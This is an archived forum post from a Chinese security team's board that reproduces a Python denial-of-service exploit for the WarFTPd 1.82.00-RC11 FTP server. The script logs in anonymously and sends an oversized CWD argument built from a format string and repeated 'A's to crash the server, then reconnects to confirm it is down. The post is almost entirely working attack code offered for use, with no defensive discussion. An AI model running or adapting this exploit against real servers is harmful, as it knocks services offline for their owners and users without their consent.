邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-11-12 13:08

WarFTPd 1.82.00-RC11 Remote Denial of Service Exploit

[code]
#!/usr/bin/env python

import sys
import ftplib

print "WAR_FTPD Remote Denial Of Service (DOS)"
print "Copyright (c) Joxean Koret"
print

target = "192.168.1.13"
targetPort = "21"

try:
   ftp = ftplib.FTP()

   print "[+] Connecting to target "
   msg = ftp.connect(target, targetPort)
   print "[+] Ok. Target banner"
   print msg
   print
   print "[+] Trying to logging anonymously"
   msg = ftp.login() # Anonymous
   print "[+] Ok. Message"
   print msg
   print
except:
   print "[!] Exploit doesn't work. " + str(sys.exc_info()[1])
   sys.exit(0)

a = "%s%s"
"""
for i in range(0):
   a += a
"""
b = "AAAA"

for i in range(6):
   b += b

a = a + b

print "[+] Exploiting with a buffer of " + str(len(a)) + " byte(s) ... "

try:
   ftp.cwd(a)
except:
   print "[+] Exploit apparently works. Trying to verify it ... "

   try:
      ftp.connect(target, targetPort)
      print "[!] No, it doesn't work [" + str(sys.exc_info()[1]) + "] :("
   except:
      print "[!] Ok. Server is dead, exploit successfully executed. "



[/code]

页: [1]
© 1999-2008 EvilOctal Security Team